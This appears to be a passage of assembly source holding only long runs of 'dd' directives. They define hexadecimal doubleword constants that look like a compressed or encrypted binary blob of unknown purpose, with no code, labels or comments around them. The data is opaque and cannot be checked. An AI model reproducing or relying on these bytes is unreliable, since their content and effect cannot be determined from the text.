41F60723h, 8CB015C3h dd 8AF7BB8h, 6310C2BFh, 3A01F82Dh, 0A040341Eh, 1C839D01h dd 7ED3595h, 50BB245Dh, 0C6334E28h, 5CFB2AECh, 0A085614h dd 51ABAD3h, 872B2F66h, 200215A2h, 85EEF914h, 10211D20h dd 0E029A606h, 2086B96Bh, 0A630104Eh, 208378F8h, 118A549h dd 3C43BAA5h, 9F460027h, 28C3FA0Ch, 0F84AB56h, 0A331AA0Dh dd 48344EC6h, 0EFBC2750h, 0B3F83D78h, 64B83C50h, 0F5841350h dd 79E088A3h, 8312427Eh, 81EB3C5h, 233FB4C1h, 0C3F04C12h dd 9F1005B5h, 20D352E3h, 0CFB30D48h, 14BDA020h, 0E4A77AE6h dd 835C1D29h, 12FE54CBh, 0F7862918h, 740E7DB1h, 6AA22435h dd 42580C1Ch, 14904990h, 90DD0330h, 10EEFBE3h, 14C57E29h dd 0C7443FA3h, 1525DEF2h, 8A26CC43h, 223824AAh, 4D018900h dd 58044400h, 0D550DE2Ch, 0F6200388h, 5BD13E1Eh, 92C75E00h dd 87DEBE29h, 45E2E9h, 2C1FE50Fh, 62C6C95Dh, 0F063F09Eh dd 39E3BC81h, 56AC303Dh, 70E8F47Ch, 0A31A4C90h, 1458C845h dd 51B20AA0h, 85E80657h, 4E0DA66h, 813E698Ch, 4EF67D40h dd 97D017A8h, 4DB44604h, 9A483081h, 0AC396894h, 46894337h dd 0DE42785Eh, 8C87AD80h, 0FE0F9606h, 0C0D9B00Dh, 0E61C8D77h dd 750A03C7h, 0D045909Fh, 3A502038h, 46AD07B1h, 0C6450FEFh dd 0F1231830h, 975320BAh, 0EDADA607h, 26337303h, 0B7B4E106h dd 0F713F0h, 0C794DD9Ah, 46ED93Dh, 6034200h, 0F3054E66h dd 0E8417A1Fh, 78AB7E53h, 1CEE52D3h, 442E970Fh, 0E6004848h dd 0B306D926h, 1CA33ED6h, 44A9B1Dh, 60E7286Eh, 38468811h dd 1BACC2Eh, 57C2280h, 6D1EA33h, 305059E9h, 1E039F4Eh dd 2601CB82h, 7330013Dh, 0F306D08Ch, 0D861CB1h, 9683E1F9h dd 8021DD98h, 61C6931h, 0F8A2FD3h, 4F1A9312h, 0C0384E2Ah dd 0D461E13Fh, 606641C5h, 0B7738400h, 159305B2h, 1C19FE55h dd 0BC7E4C0h, 0A8C38004h, 42990AC6h, 0EA808038h, 0CD93AAA6h dd 26A9B183h, 2714B8D2h, 0FA5522D6h, 0AE92060Ah, 4DE07804h dd 0FDFE3667h, 0ECA8E600h, 827CF4A1h, 19F976E1h, 0E0E094CEh dd 0F8CD10C6h, 0B346094Bh, 0E4140375h, 1708107Bh, 0E0701FE1h dd 2065930Ah, 0A324616Eh, 26019D1Bh, 9233014Bh, 68E408A1h dd 843F0FBCh, 4B86D0B8h, 44F82550h, 0EE192B15h, 6D6C806Ch dd 81490CC8h, 4D285866h, 7A010408h, 0DAC609DEh, 10D37002h dd 0FD535840h, 8E191D03h, 0A11B4CB3h, 84421EE1h, 0D3E4811Ah dd 7880D56Eh, 0AE1C04E6h, 10C7FBDDh, 0E6CFCDAFh, 53180648h dd 210F7C7Ch, 0E0F49E62h, 9561498Ch, 0BB6E70C6h, 0FF931ED8h dd 0D70E06B8h, 0AC6108B9h, 2CF4B318h, 50089887h, 0FA2BC31Ch dd 0CE2FAEC0h, 0C19822F9h, 9DF21A38h, 0B4069C53h, 7C1E7300h dd 50ACB304h, 450B2008h, 3FE68542h, 0CA8C04D2h, 45C8E1Eh dd 204130DEh, 7462091h, 0F8289C54h, 0FDB112EFh, 0FFC422C7h dd 5E53C040h, 592E80A1h, 0E904E12Ch, 8689852Bh, 40283161h dd 1BBFCCAh, 1D65A5Dh, 4EF97466h, 73F30684h, 2051F19Eh dd 548E1FC6h, 769FD03Ah, 75D053FFh, 3505047h, 0CD391548h dd 6781258h, 0EEC0A8Ah, 30BF51A8h, 0C7286E07h, 726AA8CFh dd 8B580C50h, 0A879330Ch, 4ADA4629h, 7D013067h, 0DAC0D272h dd 1826288Fh, 1DB064B4h, 82FF5F2Eh, 6BF886A0h, 26F89612h dd 15FFC963h, 0BF18A059h, 40F52855h, 462F7498h, 78254A8h dd 27F302EAh, 0C5D3817Dh, 2284AADh, 0C03A32C2h, 2DC6025Bh dd 0EA2E8C40h, 0F3125606h, 7A0862FAh, 24989058h, 0C94FFBAh dd 557041D4h, 968710DFh, 4F830FAFh, 30834E6h, 3748B78h dd 55FB60D6h, 0A6700989h, 209C7D69h, 0B99E9604h, 408093CCh dd 0B117AE06h, 2860C068h, 906056C7h, 18E9E628h, 43CAE06h dd 21834E9Fh, 3646025Ch, 128C7F3h, 23B2D67Dh, 1C7C24E6h dd 3C8E2098h, 799BC505h, 0D84A454Bh, 4E09EC54h, 4CFC23FAh dd 88809D4h, 0A89612A1h, 0B010AF38h, 8066919Bh, 0AC9CA0B4h dd 9F792116h, 9C816841h, 82C66040h, 249C9006h, 7028C445h dd 2510444Ah, 0A6145AAAh, 7852D4C9h, 0BA5D04C1h, 6598644h dd 0E0C80263h, 0CC1252ACh, 0C2E82CC1h, 0E631844Ch, 908E2DD8h dd 7346D002h, 0B8A24461h, 0FC672758h, 0E33CEA02h, 4C904485h dd 604CD01Dh, 14B676B0h, 0CCA10575h, 23E83186h, 48388030h dd 40E61710h, 50D2A9CBh, 18C1082Ch, 5198A70Ch, 0FD58C3C6h dd 0FAD91918h, 0C7DAD3A8h, 0EF870FA4h, 0A639C14Ch, 0FC05CF24h dd 30BF9F0Ch, 74BA5295h, 0FD6869Ch, 613393Fh, 40382A0Ch dd 0E75B1CA9h, 30B0EA55h, 9150CD1Ah, 8E121C60h, 0AC3892F7h dd 0BE990C68h, 46605783h, 0CC61EF2Eh, 8F43282Bh, 89FEB991h dd 4EB11187h, 1C61970Fh, 0C3003208h, 3DAE68BAh, 0CCB046h dd 0E380DEA6h, 7C550F9Fh, 0DA068F03h, 701497h, 34474138h dd 65640ED8h, 0BAD21D39h, 6D91860h, 0B67C20h, 0EEF4FB15h dd 121BE5CEh, 0BCD148C0h, 3A2463DFh, 6101F6AEh, 0BD2B1A45h dd 2C40E8D9h, 0F1C80D09h, 0E5BB81BEh, 38B78937h, 0F43230A9h dd 7738DE09h, 56910304h, 23799A03h, 0BC0023A0h, 0DC0EDB34h dd 6A208660h, 42A11705h, 47050015h, 0BC25AF4Ah, 968C410Fh dd 930E8F59h, 3D016E01h, 0E0E41B8Eh, 55040397h, 4E09708Dh dd 0E60010E6h, 42F644DBh, 7F62F8h, 0BD037C39h, 87C93585h dd 867AC400h, 32EEEB0Bh, 5F7403D4h, 9EBF4D04h, 75699CA8h dd 110CB71Ch, 0B5A14940h, 720B33h, 0E81C1F81h, 22CC04AAh dd 0A685100h, 0A08C8556h, 0FFEC076Eh, 0C04276DCh, 10BFCC28h dd 0F4AFFE3Ch, 7B536700h, 0F63D8A93h, 8FE40019h, 0F36497B5h dd 0AA007F16h, 2599677Eh, 3DDECBFh, 1E415244h, 0B029CA92h dd 631E049Bh, 79FA9505h dd 8680C7Bh, 9819D030h, 181DDC00h, 267DB47Ch, 371B3DEFh dd 0C0D8F5BFh, 0DB191E31h, 422A0818h, 1D97100Dh, 20743282h dd 111C5F22h, 0E7B6E8D1h, 0E0C4B81h, 21B55922h, 22082913h dd 444F45DFh, 23AF4318h, 2DC9EAF7h, 30C03BCh, 25180BBDh dd 3F19C70Ch, 5C5E30A8h, 0ABA97B63h, 6140E728h, 19BA835h dd 25D6C63Dh, 0D0B0CF18h, 6700EB2Dh, 65F2999Eh, 0FE5F7A5h dd 0BE374668h, 0C0453CC7h, 0AA35BC14h, 9A57E903h, 1F73B1Fh dd 0EA3C0630h, 0E059CD12h, 0C572D71Bh, 39057430h, 1DBAFB9h dd 467111F1h, 0CCC13087h, 0E6008524h, 3731B215h, 3E2349E3h dd 0BA98BD5Bh, 0C5D994A2h, 68FF1201h, 6B1B3CFAh, 774454D0h dd 18C000E0h, 5EFCCC40h, 3202A5DBh, 6A01BF50h, 574C9089h dd 0DA833072h, 0D8ED8F10h, 0FFB4A700h, 0D156CFF1h, 0C7E6000Fh dd 8043B6E7h, 94008E1Bh, 879B205Fh, 0EA86AEh, 6B51C83h dd 381597AFh, 8116992Eh, 9F490500h, 0AED2E843h, 8731EE1Ch dd 7D403F9Eh, 6FD9834Ah, 1FEB0042h, 0D17045Eh, 0C0A5BFA1h dd 868CEA40h, 0BAD3009Bh, 0D96C298Ah, 161859BDh, 0E82842AAh dd 201070C5h, 5300F6C7h, 5292AD06h, 7C89E1Fh, 7A227E91h dd 645C3AA2h, 9A1C8061h, 0F400701Ah, 0C3CD1702h, 1F1B7F66h dd 87014CDAh, 4019B261h, 992F42D9h, 5AA9C513h, 0DC32FB00h dd 0C0759120h, 0FC674CB0h, 58125CDAh, 10035541h, 0F29BEBC1h dd 0B0D09361h, 3158A508h, 272930D8h, 92ACE446h, 96BC5D00h dd 8A192645h, 0D6053B3Eh, 0C3FC7200h, 0FD290493h, 0DD7FF01h dd 0F62178D5h, 3820C430h, 1F001AD1h, 4692B4CFh, 1EE8CC35h dd 8AD9A550h, 9A0E2E00h, 858FB516h, 745B00EFh, 14E2F881h dd 0F2004F93h, 3168AE6Fh, 1733AB6h, 869515Dh, 0FC42390Ch dd 9E0E1EF5h, 80C1724Fh, 0ADA96B34h, 309AFA6Ch, 23406D1Dh dd 0CE005064h, 0F6D0D471h, 726CAFh, 27CB1876h, 35CAA8D7h dd 58324203h, 0C802BE8Bh, 734C1DCh, 5CB5FD78h, 0D57690A1h dd 7F00CC55h, 38B05BF7h, 3DC4D3Ch, 900602B4h, 0B1008132h dd 9F9BE262h, 77025A6h, 3586C00Fh, 2FCDB07Dh, 0EC03AE6Ah dd 0D1DD5859h, 6CE00CB2h, 0C041200Bh, 0E2D3A401h, 654D3656h dd 0D833208Bh, 9B457E80h, 8146DECh, 0AEACF4C3h, 2F7DD800h dd 47EF6C0Ch, 42DABF00h, 31242C7Eh, 0A1D60030h, 459F4357h dd 0CD002836h, 0AAA684E1h, 299D22B4h, 54447E63h, 84A8B7ECh dd 766A114Dh, 1D097A6Ah, 434140Ch, 532C9CA2h, 12EAEC2Fh dd 0DD03DF37h, 0C8BD7FBAh, 0E0E5ECh, 65AB8ABEh, 0F46AF8BCh dd 0B5549B00h, 0FD38D74Fh, 0E1E300AAh, 3E2D7821h, 0BE04488Fh dd 2EF340F0h, 0EFDE1090h, 92961DAEh, 50AB8071h, 0E86765BCh dd 0CC9BE715h, 0D3218084h, 48730DA0h, 7E3E247Fh, 0C06E281Eh dd 85D1AE4Bh, 0C90097DFh, 0E9E7275Fh, 511884h, 6AEF9E08h dd 356DA913h, 5ABD7105h, 840076A4h, 8E7C9BF2h, 0A8990022h dd 92744616h, 0D205606Bh, 27B42C6Eh, 0B249D020h, 5FD500CEh dd 0ED395565h, 64918A87h, 0BE7F005Ch, 33ADDE11h, 74005FF4h dd 87EF270Bh, 1E82938h, 0AB15688Ah, 0EBD3B005h, 349849C0h dd 0AF0C7A48h, 27CECA06h, 0D612D897h, 4277496h, 589F88F0h dd 0F57546h, 99E30EFh, 0D72796Dh, 8169F217h, 0C1770FFFh dd 61A3D900h, 5F001354h, 0DAA4250Bh, 274B7EBh, 0E0C7B879h dd 0C3DD4AA9h, 5D83F0BAh, 8FC0000Bh, 3CEDBD28h, 343961FFh dd 0BA390041h, 2EF5A589h, 12F30E4Fh, 0C60705Dh, 76618EFBh dd 0F044C052h, 0C0577A8Fh, 93D76878h, 5FAC712h, 0FF6B2618h dd 34B218h, 0DC06FBB7h, 45AD21A9h, 16DD2706h, 320027Eh dd 281F7BC0h, 110203A6h, 0B31694D6h, 20152604h, 801A822h dd 7790DD3Eh, 0C1B7E643h, 97000E24h, 0B3000BF0h, 79540334h dd 0C385780h, 0A5472E8Dh, 4500FCF0h, 21F6C429h, 6918063h dd 93FF5107h, 2003817h, 780FDC6Eh, 3B67554h, 667398BAh dd 2E909205h, 0EF28F9BCh, 9F249C5Ch, 0F15F822h, 4E790784h dd 0EB50FA33h, 623AB5h, 34D7673Fh, 0C829BC43h, 266E90A0h dd 66DCB650h, 85F95D61h, 4080DC57h, 4F6F7837h, 631E6CCBh dd 914EA9B4h, 0E41CCA94h, 6E69E002h, 11B09092h, 0FF6A00A4h dd 57632DB3h, 0B8019C42h, 855A0233h, 24C4DE9Dh, 28EC18h dd 82EE0472h, 0C0139220h, 0C5940C3h, 0DFC00003h, 0B587E505h dd 0BF0018A3h, 0C467908Ch, 3B1A462Ah, 40014A1h, 657EDA7Fh dd 0A61240EBh, 0CF00B8B5h, 0BE60DB79h, 927D53h, 0CA8D48F8h dd 0E7DCF346h, 0A84F7500h, 0B093E26Bh, 9DAC3B66h, 0C5104D03h dd 0D7C8D23Fh, 0ED0BF4B8h, 5EEB0Fh, 4AB07570h, 0C3AF3CFDh dd 0E39D4100h, 0D8A4EE8Ch, 734C7A03h, 0E00984D6h, 0CB7E7Bh dd 6BA70203h, 6D93DD43h, 7D0FD172h, 0A0E6B45Eh, 713E30C6h dd 5A71F12h, 0EB75004Ch, 3122B3CFh, 320838h, 0EA257EE4h dd 24943A34h, 8CFCAFh, 0D21084CEh, 1B1FE404h, 0B780B6E9h dd 0F91CB3C7h, 984C0060h, 0D91327E6h, 0CD0029ADh, 0CC4BD80Fh dd 87D323h, 7EDB72A3h, 1837E778h, 29E99603h, 0E04CB0DAh dd 3AFF0BEFh, 6B0030DCh, 6581ED63h, 6100F402h, 4C1C1FA4h dd 9DF0F5h, 0CD851A91h, 5DBD7B8Fh, 8CFA1D00h, 0D585039h dd 0D68D00E5h, 5CFC71DBh, 0BE00B037h, 0C91BBFBBh, 114B987h dd 0B652F53Fh, 0E3BA0C8Ch, 1B59E090h, 2803BB01h, 0B78A62BCh dd 38CBFCh, 320D9E7Ah, 0AC9DD13h, 7D1C6D00h, 5FC3E5FFh dd 33D20090h, 528A80CFh, 0EE1EE804h, 0D6402C14h, 187E60B7h dd 0C25400D3h, 0D0E202A3h, 12E08688h, 0A00FFF0h, 0C389BEF2h dd 0F2FB1A8Ah, 1FF90FEBh, 860096F6h, 1622778Ch, 0F1DC8900h dd 9C21BA20h, 84183CD2h, 24254580h, 0C04BB13Dh, 8E8BCB3Dh dd 0C04153B5h, 0ABDFFA2Bh, 93E33F86h, 9600213Eh, 249295DAh dd 8507AF8Fh, 6A727433h, 0CBD4C840h, 207093Dh, 6380D938h dd 2303CA18h, 6F57F001h, 96CDF7E6h, 145448ECh, 0C41BC326h dd 0E1089B00h, 0CD6EC845h, 0AEA88A4Ah, 0CAD54F00h, 2F0BEB10h dd 0C4A3B800h, 0F937DBB4h, 0FA160088h, 0D74D99F5h, 5430AFA9h dd 0D6344CDh, 4CB5000Eh, 0BF5FDA1Fh, 2000798Ah, 24F4C7CFh dd 156366h, 0A96AF7B1h, 0C190BD3Bh, 974A1B00h, 1C517FBFh dd 0FAAA02DCh, 86E6718Fh, 5FF8F2C0h, 9B587707h, 80BF4EBDh dd 7FCE9ADAh, 6E550797h, 805D30E7h, 0CA36C3Ch, 61D24Ch dd 54E47A22h, 1AAC42h, 2C253CBh, 0A51080F2h, 476E2603h dd 0F913D6DDh, 5AE06C8Fh, 32340083h, 63BEB157h, 640073DEh dd 440A27C6h, 5330EC8h, 8B3B3EACh, 7DD000CAh, 5B111575h dd 3200B4FEh, 6D3CB02Ch, 7BF1AA7h, 0F049793Bh, 76EBC011h dd 0E00F437h, 61A5856Ch, 0F7CCB15h, 553E5F90h, 44C76380h dd 5700B732h, 2F64A8A3h, 3C9F3F2h, 6F6418Ah, 81B0DC20h dd 231FFA26h, 600E45D9h, 35478115h, 1ED8DF07h, 0D60A00EFh dd 14E5D33Ch, 0C1005D96h, 0B34A858h, 9524F1h, 0D75047F4h dd 0B61BC77Eh, 0E660E100h, 489BC682h, 0D9C0073h, 0D263A66Bh dd 69004B5Dh, 0FD5AAE0h, 0B704E8h, 0CA898B26h, 0F6F32430h dd 0FBBDA000h, 8FFFC01Eh, 0EE480232h, 56E51754h, 7CE660FFh dd 0DA950B60h, 0FB80D2DBh, 6D654347h, 0AAACC600h, 915EA33Eh dd 29A801D6h, 9C84B608h, 1FB920B4h, 0ED78E00h, 0D0AFBC46h dd 44D613A8h, 0DC42005Ah dd 4E60ED94h, 20CD93Bh, 17520E7Ah, 0AA144842h, 0CE9C3993h dd 0B00F7D4Ch, 58CB20A1h, 0B1591B02h, 0BFCFCBC0h, 0F896290Bh dd 88A300F4h, 6D2130h, 0CB820DBBh, 6E4EA0CAh, 54FC984Eh dd 0B6028800h, 9FF4181Bh, 370055B0h, 0C30B202Eh, 1C5076E2h dd 0BFE08492h, 0D046FA14h, 6486C602h, 76E0C0EDh, 0AF5881BBh dd 0A9395Bh, 83C1D803h, 1CEA1029h, 80777B8Ah, 95A81970h dd 0AC0031B9h, 0A382E180h, 85236Fh, 1FFDEBA4h, 7F49B55Ch dd 792C4200h, 683CF509h, 0EC73D8h, 2544B74Fh, 0B9F42415h dd 0D34178C3h, 280AB0D9h, 0BC4F00ACh, 0BDA36594h, 5200D54Dh dd 89FD667Ah, 0D71286h, 0EA131627h, 68879906h, 0A6D22E00h dd 0D6A1AF0Dh, 237532h, 96B4204Ch, 40988AD7h, 69F5F0Eh dd 0D4CE1C44h, 593E20F8h, 0D63395h, 9B163CE2h, 92BFC61Ah dd 542E741Dh, 0ED0A4C80h, 719FA96Eh, 0F13F0069h, 0C7F78DA4h dd 360040DCh, 896152ADh, 1EC12AAh, 5E9D02C3h, 0F8BE181Fh dd 43000B74h, 0A4B173EAh, 7985B3h, 2540A004h, 2C1B922h dd 8400BD72h, 5FD1B634h, 2E7B4FEEh, 0EDFF565h, 0C9E04B1Ah dd 11FFF224h, 0EE2D9800h, 88487491h, 624400A0h, 0B6F61E26h dd 0E5E04F3Fh, 4253661Eh, 0F2EF9E80h, 1A9955h, 0F2E849Fh dd 6FC33470h, 7ED13300h, 0B5F8C189h, 6DAC0B98h, 0AB008D9Bh dd 0EE70CBFFh, 0E51F1B71h, 5200D66Ch, 1F629DBCh, 0D21200C7h dd 8EF01085h, 8F007EEEh, 0B763DE1Bh, 0F02C042h, 0F91156CFh dd 3DAD6100h, 0D009473h, 0AE0A6DFEh, 2ED528h, 39E03FE2h dd 49751307h, 150B3100h, 0EF60EBDCh, 0D1E400BFh, 9BB520CAh dd 767C851Dh, 0DF4A231Eh, 346D6AC1h, 4BD0C04Dh, 783C58DDh dd 13006F3Eh, 45F18FDCh, 522E0BBEh, 3A075E8Eh, 0D460FA73h dd 0E6D1E3C0h, 390A1CB0h, 619DF1h, 0DFF6CD6Bh, 66000BB1h dd 0DAEF9ECh, 2F74B7BAh, 7E50B9ADh, 0BD563Ch, 29F520Fh dd 120E6C9h, 871735F1h, 8009F67Ch, 471D7E74h, 389922FEh dd 36263A19h, 0A35E0E8Eh, 0B11C7720h, 2B00F717h, 0C6412591h dd 2472CBDh, 65D19952h, 81400EE9h, 903E60F0h, 8BF10040h dd 0AC486B7Fh, 0EF5703C5h, 0B5F0A127h, 0C9210A88h, 18966Eh dd 0D247BD7Ch, 233E1C60h, 0E5D9C017h, 69D49F4Dh, 91BCAE00h dd 90EE3A08h, 26830038h, 0FAA7318Ah, 60BDE2A6h, 3DB1FA8h dd 0D7323BBAh, 93A8F199h, 0CA003318h, 0E643504Eh, 5166DEh dd 6B77633Dh, 0C9A14B3Ch, 0D248E800h, 0D9CC98FCh, 0B1CF3EF6h dd 586F1Eh, 7EDE26C2h, 123FE99Fh, 961180B3h, 6863A85Bh dd 0D61700AEh, 350CB015h, 6A00E576h, 0A78E736Fh, 8BEC39h dd 0F7DCEE8Ah, 4FA6041Dh, 0EF959A00h, 0A242AC2h, 937209E8h dd 9003BE7h, 78022BB8h, 15B73F00h, 531E062Fh, 89DF3C19h dd 0B6291A80h, 4A7008C1h, 440059FEh, 406872A0h, 1E07D4Fh dd 3C5BB0D6h, 0C45AE13Eh, 0D75C856Eh, 0F6FE0BBBh, 93CDC6Ah dd 0E2810C93h, 0D173B78Eh, 9D99D1D3h, 81802C18h, 3F878FFDh dd 31BE60A8h, 2FC64F8Ah, 4B1D22F2h, 0B628A51Ch, 0A420F760h dd 4B7F73D6h, 778380B5h, 0D41E795Eh, 60F0ED4Fh, 509310h dd 667B2D04h, 0C6730F70h, 977560Ch, 1FECA1E0h, 7593B7Dh dd 10125FA5h, 3D238136h, 0D051C203h, 0C560FDEh, 0DAE2ADD8h dd 0D148E798h, 62406082h, 95561Ah, 8EE69B9Fh, 90A32AE4h dd 272E0801h, 94F075F2h, 8540AFCFh, 263C8E9h, 31087135h dd 0C48026ADh, 61A27787h, 0E2B75300h, 0D6D3D9E3h, 9BFB0165h dd 0E64C6CA4h, 900AF397h, 80E9E4ABh, 5B2F9C00h, 0E430Ch dd 0B75E97D8h, 0E8373E5Ah, 1C031F7Eh, 0C964A10h, 0E63000EAh dd 367A9367h, 0A717A5E8h, 0F60CEBBBh, 1E3A513Bh, 0C6487010h dd 0E87EE4EEh, 0FF0418D1h, 20962F00h, 92670524h, 0DCCC6100h dd 0C5F043E2h, 17252988h, 0EDC606CCh, 4EAD09Ch, 4490E574h dd 0A3FBEA7Ch, 0A653418h, 4D094C2Eh, 99A2h, 976298D5h dd 0E30CF807h, 0F4EAD76Dh, 16A1183h, 0EA19868Dh, 4328848Eh dd 0A1211812h, 8C230884h, 24457945h, 181E15ACh, 668A60D0h dd 1891950Ch, 3D889C21h, 482E458Fh, 83606954h, 81EB968Bh dd 7710DEEDh, 750CA191h, 0A2F01852h, 0BC61C16Ch, 8E992124h dd 425F1D08h, 4882F6DAh, 67105EC9h, 550CA0F3h, 4E53845Ah dd 9C592990h, 18F9E78Ah, 2A0CE515h, 0F1605404h, 8564BB61h dd 91B262B6h, 0C826016h, 2211F0DDh, 344DD980h, 32315C67h dd 3C00D649h, 23D48094h, 790ED29Ch, 209A0077h, 57E68C8Bh dd 0D1F0B99Fh, 75D3FE00h, 94FCB51Ch, 0AE8513D8h, 403C41CDh dd 518D6D84h, 0C1DBB098h, 0BDC20786h, 0DA8CA071h, 0EC545116h dd 22963D3Eh, 46A8339Ch, 0B95FCB83h, 0AA8C45Ch, 0D3B6C32Fh dd 0A1EE9300h, 6A049FBh, 0C4A44DB9h, 0FE3DA863h, 4C6D89F0h dd 1B60A0D7h, 0FBF3EC51h, 0E7801C4Ah, 0FF2E9DCEh, 7433B112h dd 3DC10840h, 1F554F07h, 98288F5Fh, 7AA350F6h, 0BAEACA02h dd 0A02FA1E8h, 313FFB8Ch, 0F8D090B0h, 0A7FD3098h, 5BF28A28h dd 0E24A3015h, 5D2E03D4h, 3B923CCh, 0D1B3DD51h, 21DD29EDh dd 0D0129414h, 50EFF4EBh, 744DC434h, 2EDCAE00h, 0F7BE427Dh dd 4861EE33h, 0F604E4FFh, 0C0ECAB53h, 146785C0h, 440AA800h dd 0C7957A75h, 64A200EFh, 0FC1C0B8Ah, 0B8C401B6h, 0FB05EB8Ch dd 98A886B7h, 84ADC900h, 0A3545327h, 0C7A0B0Fh, 0B301C5A6h dd 0D02393FEh, 0A20624C6h, 42E4AE87h, 7D9F1818h, 64CED1B4h dd 455D80C4h, 5E798F38h, 6A448914h, 880178C8h, 0A3553A80h dd 17C582E2h, 0A4D1CFCh, 0E3C1C014h, 106F98C0h, 2B80EE59h dd 3C38B262h, 2C303F92h, 12080588h, 2FDBAB1Dh, 2011A60Bh dd 85C3A36Ch, 0F7C00B51h, 18A11830h, 8E04F0A6h, 0CC31BA21h dd 12E1879h, 4433F982h, 0C530F88Bh, 0A6488E5Ah, 0C0849549h dd 7C531333h, 3CF44952h, 2657D500h, 0EC070A8Dh, 64093C24h dd 7CAA1780h, 0C2B98081h, 5E4B1F81h, 1A268064h, 89B850C9h dd 1F55042h, 3F3A3603h, 2EABA024h, 8FD48923h, 0ECEC72A3h dd 0EB31CCB8h, 2DD9A037h, 0AD230500h, 8202F4FEh, 0CBF5E318h dd 95A08076h, 0C4E51D63h, 8088C1E4h, 83613F4Ch, 0DC05B4B0h dd 2F4170C9h, 8F9F8040h, 24C01760h, 8310C19Ah, 82E97DFDh dd 34E356EAh, 2141781Eh, 29C41F83h, 5AA122E5h, 0DBB63404h dd 8C885AFh, 2A09A32h, 392924C5h, 74484D44h, 0A0285322h dd 2F1490BDh, 58D0DCF2h, 30C6063Eh, 18E9E3F0h, 0B0E6FB59h dd 0E09070A4h, 0FE023085h, 38377F28h, 0C8A0DE5Bh, 0E449AC4Ah dd 89CA0400h, 10D31370h, 7354FBDFh, 0A2181230h, 96480265h dd 0B8851514h, 94E0402Bh, 0E1DC7B49h, 0F4C66E0Fh, 0E4A2846Dh dd 0F9F1DC8Dh, 3F317830h, 0E10A2501h, 8A883E6h, 1206E31Dh dd 899B4Bh, 2842DE94h, 228D61B5h, 0A0D7CB28h, 0E24B1D08h dd 7B94805Eh, 5665593Fh, 0ECE0BF51h, 9600C0FEh, 833675BBh dd 399BA477h, 8D016E28h, 74ABED2Bh, 828C33EEh, 20126A3Ch dd 808203B8h, 0B050A448h, 1FCC22E3h, 2AEC6662h, 7BA0348h dd 0BC049C14h, 3337E5E0h, 0EC0638h, 32A20AC9h, 9250A6BFh dd 0B7271F4Ch, 0A996C234h, 44C061EDh, 0BF161A75h, 48702AA4h dd 1EF56EBh, 0DA19920Eh, 24572E84h, 3A0CFE84h, 30CE4E98h dd 39CA627Fh, 24C6461Fh, 918C900Ah, 0DB0EC456h, 897CC373h dd 0C7100955h, 40AF4332h dd 21082880h, 0D549AFD3h, 0C2C60A08h, 0A9828C70h, 0C882DA45h dd 735E3A0h, 3AFD64D0h, 0D10CF509h, 486B5AD0h, 0FF00FAA4h dd 93BE9EC1h, 607E4678h, 32CA59C3h, 9080639Fh, 3A30F826h dd 0F513FFDAh, 145D0Fh, 53E67CD3h, 831432A9h, 24C1DF4h dd 0F9288EDh, 0A00884DCh, 1588110Dh, 5E2C8408h, 40118A08h dd 0DD470090h, 7A3FA5EBh, 210AADE8h, 0A0C34AFCh, 36F81E80h dd 2C2DB1h, 0FE3D1C6Ch, 9A0C19EBh, 0AB45C07h, 84108E76h dd 1F02E190h, 299CF342h, 0A033E04h, 0D228B080h, 0F8EA1900h dd 20F1CF3Ah, 0CB90049h, 0B76912B8h, 83FB119h, 0F141E0E9h dd 4BCFBh, 0EF9D5AD4h, 0F212050Ch, 791C38C0h, 0C1F630h dd 0B3B5CE9Ch, 8B2AC9C4h, 0B2185303h, 78C714h, 7BED3C49h dd 76553D98h, 0D6BF0203h, 98162D61h, 30749C41h, 2CB09D5Ch dd 0F60752D0h, 0A2B6F0B9h, 2EE90420h, 8C760058h, 7F3C7DA8h dd 9B00F343h, 142D93E7h, 0DEEBB620h, 0B5188051h, 4E15F62Fh dd 0D8EA540Ch, 3DD211A1h, 0A8815CCBh, 0DAB5BB21h, 8D3048DDh dd 77B13065h, 1BBA4841h, 2ECD7C0h, 84B979ADh, 0D532D001h dd 0C64AE31Ah, 0D9F83880h, 291C1518h, 211BB1Dh, 0CAE00982h dd 9044633Bh, 34DA646h, 0DB0EF21Eh, 0D6E82D96h, 1100C20Ah dd 4B25E12Bh, 739B9A6h, 0C486E3FEh, 846010B5h, 993880EBh dd 0A6792DBh, 0ACB94207h, 8B8FA180h, 7BA3005Ch, 0EA15FDABh dd 3400E9EBh, 1D77D2E5h, 18F7003h, 0B37A7DCh, 0F761592Dh dd 17431280h, 4E08BF00h, 0EF26DEA9h, 0B85B2492h, 59710014h dd 2D4D7E7h, 0F0007F77h, 1F78135Ah, 97049A4Fh, 0DA001870h dd 9937D9E0h, 1C940h, 0BF675158h, 29632C2Fh, 1F4F3F00h dd 2EBAB1B3h, 0E20F00B7h, 71D694F9h, 38011A18h, 0CFE7AE47h dd 24CDA1BBh, 13E12D4h, 251392DDh, 0E4794827h, 157D849Ah dd 0A10ABE00h, 4D6826C7h, 170E840h, 0E8F2EB4h, 0F88B8CAAh dd 85EEFCA4h, 0D7397F72h, 7C9586Bh, 9617EC1Bh, 0CD86ED90h dd 62263A04h, 5EEF7686h, 0DF7960E6h, 94B18D00h, 7DF082CDh dd 0C19C0DDh, 0A544708Eh, 7FE84E4Eh, 0CBE44700h, 306C3E06h dd 89933214h, 0EB39008Bh, 0A2F5AE64h, 6B53ED2h, 77098200h dd 43C43C8Ch, 9F9D7018h, 7B40A58h, 2FBE965Bh, 0E8003EEDh dd 2D1E49E4h, 0DEFCE318h, 79FDBF8h, 0A772A5A4h, 0DF24835Fh dd 0D9901800h, 0F995061Dh, 6EC800F7h, 0A73D762Ch, 0D100E55Eh dd 0DB2E181Eh, 0C881982h, 0F37CA8DCh, 380374D1h, 1E775903h dd 69719811h, 8E470076h, 1FBE2214h, 0E000A8A3h, 236C2AD0h dd 0A72497h, 0E4D77594h, 14D53301h, 9841E800h, 4813E9FFh dd 0CECD03F9h, 5F21A24Dh, 0B3AF72D8h, 625EFE00h, 0ED8D4E2Fh dd 71D318D6h, 201008BFh, 3B0BD70Eh, 0F7009F23h, 0EA31FA6Fh dd 0F8CC5BC7h, 72F10078h, 8A71E57h, 343FEB3h, 52200FAEh dd 0BBC06C62h, 0CB018219h, 0BE37672Ch, 8B400BD2h, 3FBAD3D4h dd 0C7839C06h, 0AFF211E6h, 0A885DBE8h, 0CC8F80Ch, 7377783Dh dd 0CBE30082h, 78C253E5h, 2E006B26h, 0BE1E67C1h, 0AD852DDh dd 0ED119BC3h, 956E005Ch, 0A28E4D4Eh, 8882A701h, 0D952D798h dd 0E0BB6DD0h, 77EE1B54h, 0FE8030E5h, 0C500D6B5h, 0CC8813FAh dd 1EDCD750h, 